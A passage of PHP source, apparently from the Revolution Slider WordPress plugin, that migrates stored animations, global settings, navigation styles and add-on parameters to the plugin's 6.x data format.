'200,300,400,500,600,700,800,900', ); } } unset($global['customfonts']); } $this->set_global_settings($global); } } /** * change the layer animations to version 6.2.0 **/ public function change_animations_settings_to_6_2_0($anims = false){ if($anims === false){ $custom_in = $this->get_animations(); $custom_out = $this->get_end_animations(); $custom_loop = $this->get_loop_animations(); $anims = $custom_in + $custom_out + $custom_loop; } if(!empty($anims)){ global $wpdb; foreach($anims as $_){ $id = $_['id']; unset($_['id']); unset($_['settings']); $json_anim = $_json_anim = json_encode($_); $_json_anim = str_replace($this->update['620']['ease_adv_from'], $this->update['620']['ease_adv_to'], $_json_anim); if($_json_anim !== $json_anim){ $arr['params'] = $_json_anim; $result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $arr, array('id' => $id)); } } } } /** * change the layer animations to version 6.0.0 **/ public function change_animations_settings_to_6_0($anims = false){ //do on all navigations ? $anims = ($anims === false) ? $this->get_animations_v5() : (array)$anims; if(!empty($anims)){ global $wpdb; foreach($anims as $_){ if($this->get_val($_, 'settings') === 'in' || $this->get_val($_, 'settings') === 'out'){ //ignore, as already converted to 6.0 continue; }else{ if(is_string($this->get_val($_, 'params'))){ $_['params'] = json_decode($this->get_val($_, 'params'), true); } $gid = ($this->get_val($_, array('params', 'type')) == 'customin') ? 'in' : 'out'; $fr = ($gid === 'in') ? 'frame_0' : 'frame_999'; $tr = array('name' => $this->get_val($_, 'handle')); $tr[$fr] = array('transform' => array(), 'timeline' => array()); if($gid === 'in'){ $tr['frame_1'] = array('timeline' => array('speed' => $this->get_val($_, array('params', 'speed')), 'ease' => $this->get_val($_, array('params', 'easing')))); }else{ $tr['frame_999']['timeline'] = array('speed' => $this->get_val($_, 'params', 'speed'), 'ease' => $this->get_val($_, array('params', 'easing'))); } // CHECK IF ANIMATION HAS MASK if($this->_truefalse($this->get_val($_, array('params', 'mask'))) == true){ $tr[$fr]['mask'] = array('use' => true, 'x' => $this->get_val($_, array('params', 'mask_x')), 'y' => $this->get_val($_, array('params', 'mask_y'))); if($gid === 'in') $tr['frame_1']['mask'] = array('use' => true, 'x' => 0, 'y' => 0); } $inside = $tr[$fr]['transform']; $splithelp = array('use' => true, 'delay' => $this->get_val($_, array('params', 'splitdelay'))); // SET TARGET ANIMATION TO SPLIT OR LAYER switch($this->get_val($_, array('params', 'split'))){ case 'lines': case 'line': $tr[$fr]['lines'] = $splithelp; $inside = $tr[$fr]['lines']; if($gid === 'in') $tr['frame_1']['lines'] = $splithelp; break; case 'words': case 'word': $tr[$fr]['words'] = $splithelp; $inside = $tr[$fr]['words']; if($gid === 'in') $tr['frame_1']['words'] = $splithelp; break; case 'chars': case 'char': $tr[$fr]['chars'] = $splithelp; $inside = $tr[$fr]['chars']; if($gid === 'in') $tr['frame_1']['chars'] = $splithelp; break; } $opacity = $this->get_val($_, array('params', 'captionopacity'), '######'); if($opacity !== '######') $inside['opacity'] = $opacity; // GO THROUGH THE PARAMS AND CREATE THEM IF NEEDED if(!empty($_['params'])){ foreach($_['params'] as $key => $val){ if(in_array($val, array('inherit', '0', 0, '0px'))) continue; switch($key){ case 'movex': $inside['x'] = $val; break; case 'movey': $inside['y'] = $val; break; case 'movez': $inside['z'] = $val; break; case 'rotationx': $inside['rotationX'] = $val; break; case 'rotationy': $inside['rotationY'] = $val; break; case 'rotationz': $inside['rotationZ'] = $val; break; case 'skewx': $inside['skewX'] = $val; break; case 'skewy': $inside['skewY'] = $val; break; } } } //change the animation in the database by id $tr[$fr]['transform'] = $inside; $t = ($gid === 'in') ? 'in' : 'out'; $arr = array( 'handle' => $this->get_val($tr, 'name'), 'params' => json_encode($tr), 'settings' => $t ); $result = $wpdb->update($wpdb->prefix . RevSliderFront::TABLE_LAYER_ANIMATIONS, $arr, array('id' => $_['id'])); } } } } /** * Migrate the Global Settings to the new 6.0 structure * @since: 6.0 **/ public function change_global_settings_to_6_0(){ $global = maybe_unserialize(get_option('revslider-global-settings', '')); //get the old structure as serialized if(is_array($global)){ //means we are not json, so we are on 5.x $version = $this->get_val($global, 'version', '1.0.0'); if(version_compare($version, '6.0.0', '>=')) return true; //already on 6.0 $g = array( 'version' => '6.0.0', 'permission' => $this->get_val($global, 'role', 'admin'), //'include' => $this->_truefalse($this->get_val($global, 'includes_globally', true)), 'includeids' => $this->get_val($global, 'pages_for_includes', ''), 'script' => array( 'footer' => $this->_truefalse($this->get_val($global, 'js_to_footer', true)), 'defer' => $this->_truefalse($this->get_val($global, 'js_defer', true)), 'full' => $this->_truefalse($this->get_val($global, 'load_all_javascript', false)) ), 'fonturl' => $this->get_val($global, 'change_font_loading', ''), 'size' => array( 'desktop' => $this->get_val($global, 'width', 1240), 'notebook' => $this->get_val($global, 'width_notebook', 1024), 'tablet' => $this->get_val($global, 'width_tablet', 778), 'mobile' => $this->get_val($global, 'width_mobile', 480) ) ); $this->set_global_settings($g); } } /** * Migrate the Navigations that were existing prior to version 6.0 * @since: 6.0 **/ public function change_navigation_settings_to_6_0($navs = false, $return = false){ global $wpdb; $rs_nav = new RevSliderNavigation(); //do on all navigations ? $navs = ($navs === false) ? $rs_nav->get_all_navigations(false, false, true) : (array) $navs; $new_navs = array(); if(!empty($navs)){ //clear all navigations in database and create new ones out of $new_nav $wpdb->query('TRUNCATE TABLE '. $wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS); //now push all again back in with new IDs foreach($navs as $nav){ $nav['css'] = (!is_array($nav['css'])) ? json_decode($nav['css'], true) : $nav['css']; $nav['markup'] = (!is_array($nav['markup'])) ? json_decode($nav['markup'], true) : $nav['markup']; foreach($this->navtypes as $navtype){ if(isset($nav['css'][$navtype]) && !empty($nav['css'][$navtype])){ //otherwise we are already on 6.0 $new_nav = $this->create_new_navigation_6_0($nav, $navtype); $wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_NAVIGATIONS, array( 'name' => $this->get_val($new_nav, 'name'), 'handle' => $this->get_val($new_nav, 'handle'), 'type' => $navtype, 'css' => $this->get_val($new_nav, 'css'), 'markup' => $this->get_val($new_nav, 'markup'), 'settings' => json_encode($this->get_val($new_nav, 'settings')), ) ); $new_navs[] = $new_nav; } } } } return $new_navs; } /** * Change navigation css that needs to be used since 6.4.9 * @since: 6.4.9 **/ public function change_navigation_settings_to_6_4_10($navs = false, $return = false){ global $wpdb; /** * some customers had an version inbetween, where $find was wrongly translated into this here * so we need to replace $find2 also with $replace and this has to happen first! **/ $find2 = array( '.tp-bullets:hover.rs.touchhover', '.tp-bullet.rs.touchhover', '.tp-tab.rs.touchhover', '.tp-tabs.rs.touchhover', '.tp-thumb.rs.touchhover', '.tp-thumbs.rs.touchhover', '.tparrows.rs-touchhover', '.tp-rightarrow.rs.touchhover', '.tp-leftarrow.rs.touchhover' ); $find = array( '.tp-bullets:hover', '.tp-bullet:hover', '.tp-tab:hover', '.tp-tabs:hover', '.tp-thumb:hover', '.tp-thumbs:hover', '.tparrows:hover', '.tp-rightarrow:hover', '.tp-leftarrow:hover' ); $replace = array( '.tp-bullets.rs-touchhover', '.tp-bullet.rs-touchhover', '.tp-tab.rs-touchhover', '.tp-tabs.rs-touchhover', '.tp-thumb.rs-touchhover', '.tp-thumbs.rs-touchhover', '.tparrows.rs-touchhover', '.tp-rightarrow.rs-touchhover', '.tp-leftarrow.rs-touchhover' ); $rs_nav = new RevSliderNavigation(); //do on all navigations ? $navs = ($navs === false) ? $rs_nav->get_all_navigations(false, false, true) : (array) $navs; if(!empty($navs)){ //now push all again back in with new IDs foreach($navs as $id => $nav){ $css = $this->get_val($nav, 'css'); $css = str_replace($find2, $replace, $css); $css = str_replace($find, $replace, $css); if($css !== $this->get_val($nav, 'css')){ //update the css $response = $wpdb->update( $wpdb->prefix.RevSliderFront::TABLE_NAVIGATIONS, array('css' => $css), array('id' => $this->get_val($nav, 'id')) ); } } } } /** * Go through all Slider and change the navigations handle to id **/ public function change_navigation_slider_to_6_0($sliders = false){ $sr = new RevSliderSlider(); $rs_nav = new RevSliderNavigation(); $navigations = $rs_nav->get_all_navigations_builder(); $default = RevSliderNavigation::get_default_navigations(); if($sliders === false){ //do it on all Sliders $sliders = $sr->get_sliders(); }else{ $sliders = array($sliders); } $navs = array('arrows' => 'navigation_arrow_style', 'bullets' => 'navigation_bullets_style', 'tabs' => 'tabs_style', 'thumbs' => 'thumbnails_style'); //$navs = array('arrows' => array('nav', 'arrows', 'style'), 'bullets' => array('nav', 'bullets', 'style'), 'tabs' => array('nav', 'tabs', 'style'), 'thumbs' => array('nav', 'thumbs', 'style')); if(!empty($sliders) && is_array($sliders)){ $update = array(); foreach($sliders as $slider){ //$p = $slider->get_params(); foreach($navs as $type => $n){ $v = $slider->get_param($n, ''); if($v !== ''){ $found = false; $v = $rs_nav->translate_navigation($v); //translate $v if it was a factory one and has a certain handle foreach($navigations[$type] as $id => $nav){ if($nav['handle'] != $v) continue; $update[$n] = $id; //$p['nav'][$type]['style'] = $id; $found = true; break; } if($found === false){ foreach($navigations[$type] as $id => $nav){ if($nav['handle'] != 'custom') continue; $update[$n] = $id; //set to the custom nav as no nav found break; } } } } $slider->update_params($update); $params = $slider->get_params(); //$slider->update_params($p); } } } /** * transform an old navigation into the 6.0.0 version **/ public function create_new_navigation_6_0($_, $t){ $n = array( 'id' => $this->get_val($_, 'id'), 'handle' => $this->get_val($_, 'handle'), 'name' => $this->get_val($_, 'name'), 'type' => $t, 'css' => $this->get_val($_, array('css', $t)), 'markup' => $this->get_val($_, array('markup', $t)), 'settings' => array( 'dim' => array('width' => $this->get_val($_, array('settings', 'width', $t), 160), 'height' => $this->get_val($_, array('settings', 'height', $t), 160)), 'placeholders' => new stdClass(), 'presets' => new stdClass(), 'version' => '6.0.0', ), ); $placeholders = $this->get_val($_, array('settings', 'placeholders'), array()); if(!empty($placeholders)){ foreach($placeholders as $placeholder){ if($this->get_val($placeholder, 'nav-type') === $t){ $n['settings']['placeholders']->{$this->get_val($placeholder, 'handle')} = array( 'title' => $this->get_val($placeholder, 'title'), 'type' => $this->get_val($placeholder, 'type'), 'data' => ($this->get_val($placeholder, 'type') === 'font-family') ? $this->get_val($placeholder, array('data', 'font_family')) : $this->get_val($placeholder, array('data', $this->get_val($placeholder, 'type'))), ); } } } $presets = $this->get_val($_, array('settings', 'presets'), array()); if(!empty($presets)){ foreach($presets as $preset){ if($this->get_val($preset, 'type') === $t){ $n['settings']['presets']->{$this->get_val($preset, 'handle')} = array( 'name' => $this->get_val($preset, 'name'), 'values' => array(), ); $values = $this->get_val($preset, 'values', array()); if(!empty($values)){ foreach($values as $j => $value){ $handle = str_replace(array('ph-'. $_['handle'] .'-'. $t .'-', '-color', '-rgba', '-custom'), '', $j); $n['settings']['presets']->{$this->get_val($preset, 'handle')}['values'][$handle] = $value; } } } } } return $n; } /** * Migrate the Slider AddOns that were existing prior to version 6.0 * @since: 6.0 **/ public function migrate_slider_AddOn($_){ $obj = array(); //WHITEBOARD MIGRATION if($_->get_param('wb_enable', false) !== false){ $obj['revslider-whiteboard-addon'] = array( 'enable' => $this->_truefalse($_->get_param('wb_enable')), 'writehand' => array( 'width' => $_->get_param('wb_writehand_width', 572), 'height' => $_->get_param('wb_writehand_height', 691), 'originX' => $_->get_param('wb_writehand_origin_x', 49), 'originY' => $_->get_param('wb_writehand_origin_y', 50), 'source' => ($_->get_param('wb_writehand_source') === '1') ? WP_PLUGIN_URL .'/revslider-whiteboard-addon/'.'assets/images/write_right_angle.png' : $_->get_param('wb_writehand_source_custom', WP_PLUGIN_URL .'/revslider-whiteboard-addon/'.'assets/images/write_right_angle.png'), ), 'movehand' => array( 'width' => $_->get_param('wb_movehand_width', 400), 'height' => $_->get_param('wb_movehand_height', 100), 'originX' => $_->get_param('wb_movehand_origin_x', 185), 'originY' => $_->get_param('wb_movehand_origin_y', 66), 'source' => ($_->get_param('wb_movehand_source') === '1') ? WP_PLUGIN_URL .'/revslider-whiteboard-addon/'.'assets/images/hand_point_right.png' : $_->get_param('wb_movehand_source_custom', WP_PLUGIN_URL .'/revslider-whiteboard-addon/'.'assets/images/hand_point_right.png'), ), ); } // RELOAD MIGRATION if($_->get_param('revslider-refresh-enabled', false) !== false){ $obj['revslider-refresh-addon'] = array( 'enable' => $this->_truefalse($_->get_param('revslider-refresh-enabled')), 'type' => $_->get_param('revslider-refresh-type', 'time'), 'minutes' => $_->get_param('revslider-refresh-min', 10), 'slide' => $_->get_param('revslider-refresh-slide', 1), 'loops' => $_->get_param('revslider-refresh-loops', 1), 'url_enable' => $_->get_param('revslider-refresh-url-enable', false), 'custom_url' => $_->get_param('revslider-refresh-custom-url', 'http://') ); } //SLICEY MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('slicey_enabled', false) !== false){ $obj['revslider-slicey-addon'] = array('enable' => $this->_truefalse($_->get_param('slicey_enabled'))); } //EXPLODING LAYERS MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('explodinglayers_enabled', false) !== false){ $obj['revslider-explodinglayers-addon'] = array('enable' => $this->_truefalse($_->get_param('explodinglayers_enabled'))); } //PAINTBRUSH MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('paintbrush_enabled', false) !== false){ $obj['revslider-paintbrush-addon'] = array('enable' => $this->_truefalse($_->get_param('paintbrush_enabled', false))); } //DISTORTION MIGRARTION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('liquideffect_enabled', false) !== false){ $obj['revslider-liquideffect-addon'] = array('enable' => $this->_truefalse($_->get_param('liquideffect_enabled', false))); } //PANORAMA MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('panorama_enabled', false) !== false){ $obj['revslider-panorama-addon'] = array('enable' => $this->_truefalse($_->get_param('panorama_enabled', false))); } //TYPEWRITER MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('typewriter_defaults_enabled', false) !== false){ $obj['revslider-typewriter-addon'] = array('enable' => $this->_truefalse($_->get_param('typewriter_defaults_enabled'))); } //FILMSTRIP MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('filmstrip_enabled', false) !== false){ $obj['revslider-filmstrip-addon'] = array('enable' => $this->_truefalse($_->get_param('filmstrip_enabled'))); } // WEATHER MIGRATION if($_->get_param('revslider-weather-enabled', false) !== false){ $obj['revslider-weather-addon'] = array( 'enable' => $this->_truefalse($_->get_param('revslider-weather-enabled')), 'refresh' => $_->get_param('revslider-weather-refresh', '1'), 'location' => ($_->get_param('revslider-weather-location-type', 'name') === 'name') ? $_->get_param('revslider-weather-location-name', 'Cologne') : $_->get_param('revslider-weather-location-woeid', '667931'), 'unit' => $_->get_param('revslider-weather-unit', 'c') ); } //SNOW MIGRATION if($_->get_param('snow_enabled', false) !== false){ $obj['revslider-snow-addon'] = array( 'enable' => $this->_truefalse($_->get_param('snow_enabled')), 'endSlide' => $_->get_param('snow_end_slide', 'last'), 'startSlide' => $_->get_param('snow_start_slide', 'first'), 'max' => array( 'number' => $_->get_param('snow_max_num', 400), 'opacity' => $_->get_param('snow_max_opacity', 1), 'sinus' => $_->get_param('snow_max_sinus', 100), 'size' => $_->get_param('snow_max_size', 6), 'speed' => $_->get_param('snow_max_speed', 100), ), 'min' => array( 'number' => $_->get_param('snow_min_num', 400), 'opacity' => $_->get_param('snow_min_opacity', 1), 'sinus' => $_->get_param('snow_min_sinus', 100), 'size' => $_->get_param('snow_min_size', 6), 'speed' => $_->get_param('snow_min_speed', 100), ), ); } //BEFORE AFTER MIGRATION if($_->get_param('beforeafter_enabled', false) !== false){ $obj['revslider-beforeafter-addon'] = array( 'enable' => $this->_truefalse($_->get_param('beforeafter_enabled', false)), 'icon' => array( 'color' => $_->get_param('beforeafter_arrow_color', '#ffffff'), 'size' => $_->get_param('beforeafter_arrow_size', 32), 'space' => $_->get_param('beforeafter_arrow_spacing', 5), 'up' => str_replace('fa-icon-', 'fa-', $_->get_param('beforeafter_top_arrow', 'fa-caret-up')), 'down' => str_replace('fa-icon-', 'fa-', $_->get_param('beforeafter_bottom_arrow', 'fa-caret-down')), 'left' => str_replace('fa-icon-', 'fa-', $_->get_param('beforeafter_left_arrow', 'fa-caret-left')), 'right' => str_replace('fa-icon-', 'fa-', $_->get_param('beforeafter_right_arrow', 'fa-caret-right')), 'shadow' => array( 'set' => $this->_truefalse($_->get_param('beforeafter_arrow_shadow', false)), 'blur' => $_->get_param('beforeafter_arrow_shadow_blur', 10), 'color' => $_->get_param('beforeafter_arrow_shadow_color', 'rgba(0, 0, 0, 0.35)'), ), ), 'drag' => array( 'padding' => $_->get_param('beforeafter_arrow_padding', 0), 'radius' => $_->get_param('beforeafter_arrow_radius', 0), 'bgcolor' => $_->get_param('beforeafter_arrow_bg_color', 'transparent'), 'border' => array( 'set' => $this->_truefalse($_->get_param('beforeafter_arrow_border', false)), 'width' => $_->get_param('beforeafter_arrow_border_size', 1), 'color' => $_->get_param('beforeafter_arrow_border_color', '#000000'), ), 'boxshadow' => array( 'set' => $this->_truefalse($_->get_param('beforeafter_box_shadow', false)), 'blur' => $_->get_param('beforeafter_box_shadow_blur', 10), 'strength' => $_->get_param('beforeafter_box_shadow_strength', 3), 'color' => $_->get_param('beforeafter_box_shadow_color', 'rgba(0, 0, 0, 0.35)'), ), ), 'divider' => array( 'size' => $_->get_param('beforeafter_divider_size', 1), 'color' => $_->get_param('beforeafter_divider_color', '#ffffff'), 'shadow' => array( 'set' => $this->_truefalse($_->get_param('beforeafter_divider_shadow', false)), 'blur' => $_->get_param('beforeafter_divider_shadow_blur', 10), 'strength' => $_->get_param('beforeafter_divider_shadow_strength', 3), 'color' => $_->get_param('beforeafter_divider_shadow_color', 'rgba(0, 0, 0, 0.35)'), ), ), 'onclick' => array( 'set' => $this->_truefalse($_->get_param('beforeafter_onclick', true)), 'time' => $_->get_param('beforeafter_click_time', 500), 'easing' => $_->get_param('beforeafter_click_easing', 'power2.out'), 'cursor' => $_->get_param('beforeafter_cursor', 'pointer'), ), ); } //POLCYFOLD MIGRATION if($_->get_param('polyfold_bottom_enabled', false) !== false){ $obj['revslider-polyfold-addon'] = array( 'enable' => $this->_truefalse($_->get_param('polyfold_bottom_enabled', false)) || $this->_truefalse($_->get_param('polyfold_top_enabled', false)), 'bottom' => array( 'enabled' => $this->_truefalse($_->get_param('polyfold_bottom_enabled', false)), 'animated' => $this->_truefalse($_->get_param('polyfold_bottom_animated', false)), 'color' => $_->get_param('polyfold_bottom_color', '#ffffff'), 'ease' => $_->get_param('polyfold_bottom_ease', 'ease-in-out'), 'height' => $_->get_param('polyfold_bottom_height', 100), 'hideOnMobile' => $this->_truefalse($_->get_param('polyfold_bottom_hide_mobile', false)), 'inverted' => $this->_truefalse($_->get_param('polyfold_bottom_inverted', false)), 'leftWidth' => $_->get_param('polyfold_bottom_left_width', 50), 'rightWidth' => $_->get_param('polyfold_bottom_right_width', 50), 'negative' => $this->_truefalse($_->get_param('polyfold_bottom_negative', false)), 'placement' => $_->get_param('polyfold_bottom_placement', 1), 'point' => $_->get_param('polyfold_bottom_point', 'sides'), 'range' => $_->get_param('polyfold_bottom_range', 'slider'), 'responsive' => $this->_truefalse($_->get_param('polyfold_bottom_responsive', true)), 'scroll' => $this->_truefalse($_->get_param('polyfold_bottom_scroll', true)), 'time' => $_->get_param('polyfold_bottom_time', 0.3), ), 'top' => array( 'enabled' => $this->_truefalse($_->get_param('polyfold_top_enabled', false)), 'animated' => $this->_truefalse($_->get_param('polyfold_top_animated', false)), 'color' => $_->get_param('polyfold_top_color', '#ffffff'), 'ease' => $_->get_param('polyfold_top_ease', 'ease-in-out'), 'height' => $_->get_param('polyfold_top_height', 100), 'hideOnMobile' => $this->_truefalse($_->get_param('polyfold_top_hide_mobile', false)), 'inverted' => $this->_truefalse($_->get_param('polyfold_top_inverted', false)), 'leftWidth' => $_->get_param('polyfold_top_left_width', 50), 'rightWidth' => $_->get_param('polyfold_top_right_width', 50), 'negative' => $this->_truefalse($_->get_param('polyfold_top_negative', false)), 'placement' => $_->get_param('polyfold_top_placement', 1), 'point' => $_->get_param('polyfold_top_point', 'sides'), 'range' => $_->get_param('polyfold_top_range', 'slider'), 'responsive' => $this->_truefalse($_->get_param('polyfold_top_responsive', true)), 'scroll' => $this->_truefalse($_->get_param('polyfold_top_scroll', true)), 'time' => $_->get_param('polyfold_top_time', 0.3), ), ); } //REVEALER MIGRATION if($_->get_param('revealer_enabled', false) !== false){ $obj['revslider-revealer-addon'] = array( 'enable' => $this->_truefalse($_->get_param('revealer_enabled', false)), 'direction' => $_->get_param('revealer_direction', 'open_horizontal'), 'color' => $_->get_param('revealer_color', '#000000'), 'easing' => $_->get_param('revealer_easing', 'power2.out'), 'duration' => $_->get_param('revealer_duration', 500), 'delay' => $_->get_param('revealer_delay', 10), 'overlay' => array( 'enable' => $this->_truefalse($_->get_param('revealer_overlay_enabled', false)), 'color' => $_->get_param('revealer_overlay_color', '#000000'), 'easing' => $_->get_param('revealer_overlay_easing', 'power2.out'), 'duration' => $_->get_param('revealer_overlay_duration', 500), 'delay' => $_->get_param('revealer_overlay_delay', 10), ), 'spinner' => array( 'type' => $_->get_param('revealer_spinner', 'default'), 'color' => $_->get_param('revealer_spinner_color', '#FFFFFF'), ), ); $obj['revslider-revealer-addon']['delay'] = intval($obj['revslider-revealer-addon']['delay']); if($obj['revslider-revealer-addon']['delay'] < 10){ $obj['revslider-revealer-addon']['delay'] = 10; } if($obj['revslider-revealer-addon']['delay'] > 10000){ $obj['revslider-revealer-addon']['delay'] = 10000; } $obj['revslider-revealer-addon']['overlay']['delay'] = intval($obj['revslider-revealer-addon']['overlay']['delay']); if($obj['revslider-revealer-addon']['overlay']['delay'] < 10){ $obj['revslider-revealer-addon']['overlay']['delay'] = 10; } if($obj['revslider-revealer-addon']['overlay']['delay'] > 10000){ $obj['revslider-revealer-addon']['overlay']['delay'] = 10000; } $obj['revslider-revealer-addon']['duration'] = intval($obj['revslider-revealer-addon']['duration']); if($obj['revslider-revealer-addon']['duration'] < 10){ $obj['revslider-revealer-addon']['duration'] = 10; } if($obj['revslider-revealer-addon']['duration'] > 10000){ $obj['revslider-revealer-addon']['duration'] = 10000; } $obj['revslider-revealer-addon']['overlay']['duration'] = intval($obj['revslider-revealer-addon']['overlay']['duration']); if($obj['revslider-revealer-addon']['overlay']['duration'] < 10){ $obj['revslider-revealer-addon']['overlay']['duration'] = 10; } if($obj['revslider-revealer-addon']['overlay']['duration'] > 10000){ $obj['revslider-revealer-addon']['overlay']['duration'] = 10000; } } //BUBBLEMORPH MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('bubblemorph_enabled', false) !== false){ $obj['revslider-bubblemorph-addon'] = array('enable' => $this->_truefalse($_->get_param('bubblemorph_enabled'))); } //DUALTONE MIGRATION (NO DEFAULTS NEEDED, LEAVE IT OUT !!) if($_->get_param('duotonefilters_enabled', false) !== false){ $obj['revslider-duotonefilters-addon'] = array( 'enable' => $this->_truefalse($_->get_param('duotonefilters_enabled', false)), 'simplify' => array( 'enable' => $this->_truefalse($_->get_param('duotonefilters_simplified', false)), 'easing' => $_->get_param('duotonefilters_easing', 'ease-in'), 'duration' => $_->get_param('duotonefilters_timing', 750), ), ); } //PARTICLE EFFECTS MIGRATION /** * even if we dont need the values in the Slider * push it here so that it still exists later on for the layers * otherwise it will be lost and no longer available for the layers * the values will be removed later on **/ if($_->get_param('particles_enabled', false) !== false){ /* Canvas now draws all particles as SVG's for improved overall functionality and performance Because of this change, the following is needed to normalize the sizes */ $partSize = $_->get_param('particles_size_value', 6); $partShape = $_->get_param('particles_shape_type', 'circle'); $partSizeMin = $_->get_param('particles_size_min_value', 1); $partSizeAnimMin = $_->get_param('particles_size_anim_min', 1); $partOpacityRandom = $this->_truefalse($_->get_param('particles_opacity_random', false)); $partOpacity = $_->get_param('particles_opacity_value', 100); $partOpacityMin = $_->get_param('particles_opacity_min_value', 25); if($partShape === 'edge' || $partShape === 'triangle'){ $partSize = max(round(intval($partSize) * 0.75), 1); $partSizeMin = max(floatval($partSizeMin) * 0.75, 0.1); $partSizeAnimMin = max(floatval($partSizeAnimMin) * 0.75, 0.1); } else if($partShape === 'polygon'){ $partSize = max(round(intval($partSize) * 0.85), 1); $partSizeMin = max(floatval($partSizeMin) * 0.85, 0.1); $partSizeAnimMin = max(floatval($partSizeAnimMin) * 0.85, 0.1); } else if($partShape === 'star'){ $partSizeMin = max($partSizeMin, 1); $partSizeAnimMin = max(floatval($partSizeAnimMin), 0.1); } else { $partSize = max(round(intval($partSize) * 0.5), 1); $partSizeMin = max(floatval($partSizeMin) * 0.5, 0.1); $partSizeAnimMin = max(floatval($partSizeAnimMin) * 0.5, 0.1); } if($partOpacityRandom && $partShape === 'edge' || $partShape === 'triangle' || $partShape === 'polygon' || $partShape === 'star'){ $partOpacity = min(intval($partOpacity) + 25, 100); $partOpacityMin = min(intval($partOpacityMin) + 25, 100); } $obj['revslider-particles-addon'] = array( 'enable' => $this->_truefalse($_->get_param('particles_enabled', false)), 'endSlide' => $_->get_param('particles_end_slide', 'last'), 'startSlide' => $_->get_param('particles_start_slide', 'first'), 'hideOnMobile' => $this->_truefalse($_->get_param('particles_hide_on_mobile', false)), 'particles' => array( 'shape' => $partShape, 'number' => $_->get_param('particles_number_value', 80), 'size' => $partSize, 'sizeMin' => $partSizeMin, 'random' => $this->_truefalse($_->get_param('particles_size_random', true)), ), 'styles' => array( 'border' => array( 'enable' => $this->_truefalse($_->get_param('particles_border_enable', false)), 'color' => $_->get_param('particles_border_color', '#ffffff'), 'opacity' => $_->get_param('particles_border_opacity', 100), 'size' => $_->get_param('particles_border_size', 1), ), 'lines' => array( 'enable' => $this->_truefalse($_->get_param('particles_line_enable', false)), 'color' => $_->get_param('particles_line_color', '#ffffff'), 'width' => $_->get_param('particles_line_width', 1), 'opacity' => $_->get_param('particles_line_opacity', 100), 'distance' => $_->get_param('particles_line_distance', 150), ), 'particle' => array( 'color' => $_->get_param('particles_color_value', '#ffffff'), 'opacity' => $partOpacity, 'opacityMin' => $partOpacityMin, 'opacityRandom' => $partOpacityRandom, 'zIndex' => $_->get_param('particles_zindex', 'default'), ), ), 'movement' => array( 'enable' => $this->_truefalse($_->get_param('particles_move_enable', true)), 'randomSpeed' => $this->_truefalse($_->get_param('particles_move_random', true)), 'speed' => $_->get_param('particles_move_speed', 1), 'speedMin' => $_->get_param('particles_move_speed_min', 1), 'direction' => $_->get_param('particles_move_direction', 'none'), 'straight' => $this->_truefalse($_->get_param('particles_move_straight', true)), 'bounce' => $this->_truefalse($_->get_param('particles_move_bounce', false)), ), 'interactivity' => array( 'hoverMode' => ($this->_truefalse($_->get_param('particles_onhover_enable'))) ? $_->get_param('particles_onhover_mode', 'repulse') : 'none', 'clickMode' => ($this->_truefalse($_->get_param('particles_onclick_enable'))) ? $_->get_param('particles_onclick_mode', 'repulse') : 'none', ), 'bubble' => array( 'distance' => $_->get_param('particles_modes_bubble_distance', 400), 'size' => $_->get_param('particles_modes_bubble_size', 40), 'opacity' => $_->get_param('particles_modes_bubble_opacity', 40), ), 'grab' => array( 'distance' => $_->get_param('particles_modes_grab_distance', 400), 'opacity' => $_->get_param('particles_modes_grab_opacity', 50), ), 'repulse' => array( 'distance' => $_->get_param('particles_modes_repulse_distance', 200), 'easing' => 100, // new option ), 'pulse' => array( 'size' => array( 'enable' => $this->_truefalse($_->get_param('particles_size_anim_enable', false)), 'speed' => $_->get_param('particles_size_anim_speed', 40), 'min' => $partSizeAnimMin, 'sync' => $this->_truefalse($_->get_param('particles_size_anim_sync', false)), ), 'opacity' => array( 'enable' => $this->_truefalse($_->get_param('particles_opacity_anim_enable', false)), 'speed' => $_->get_param('particles_opacity_anim_speed', 3), 'min' => $_->get_param('particles_opacity_anim_min', 0), 'sync' => $this->_truefalse($_->get_param('particles_opacity_anim_sync', false)), ), ), ); } return $obj; } /** * Migrate the Slider AddOns that were existing prior to version 6.0 * @since: 6.0 **/ public function migrate_slide_AddOn($_, $_s, $slide_nr = false){ $obj = array(); // WEATHER MIGRATION if($_->get_param('revslider-weather-location-type', false) !== false){ $obj['revslider-weather-addon'] = array( 'location' => ($_->get_param('revslider-weather-location-type', 'name') === 'name') ? $_->get_param('revslider-weather-location-name', 'Cologne') : $_->get_param('revslider-weather-location-woeid', '667931'), 'unit' => $_->get_param('revslider-weather-unit', 'c') ); } // FILMSTRIP if($_->get_param('filmstrip_enabled', false) !== false){ $ftimes = explode(',', $_->get_param('filmstrip_times')); $filmstrip_settings = str_replace('\\', '', $_->get_param('filmstrip_settings')); $obj['revslider-filmstrip-addon'] = array( 'enable' => $this->_truefalse($_->get_param('filmstrip_enabled', false)), 'direction' => $_->get_param('filmstrip_direction', 'right-to-left'), 'mobile' => $this->_truefalse($_->get_param('filmstrip_mobile', false)), 'times' => $this->c_to_resp(array('default' => 40, 'val' => array('desktop' => $this->get_val($ftimes, 0), 'notebook' => $this->get_val($ftimes, 1), 'tablet' => $this->get_val($ftimes, 2), 'mobile' => $this->get_val($ftimes, 3)))), 'settings' => json_decode($filmstrip_settings, true) ); } //SLICEY if($_->get_param('slicey_globals', false) !== false){ $slicey = json_decode(str_replace('\\', '', $_->get_param('slicey_globals'))); $obj['revslider-slicey-addon'] = array( 'shadow' => array( 'blur' => $this->get_val($slicey, 'blur', 5), 'color' => $this->get_val($slicey, 'color', 'transparent'), 'strength' => $this->get_val($slicey, 'strength', 0) ), ); } // PANORAMA if($_->get_param('panorama_enabled', false) !== false){ $obj['revslider-panorama-addon'] = array( 'enable' => $this->_truefalse($_->get_param('panorama_enabled', false)), 'mobilelock' => true, 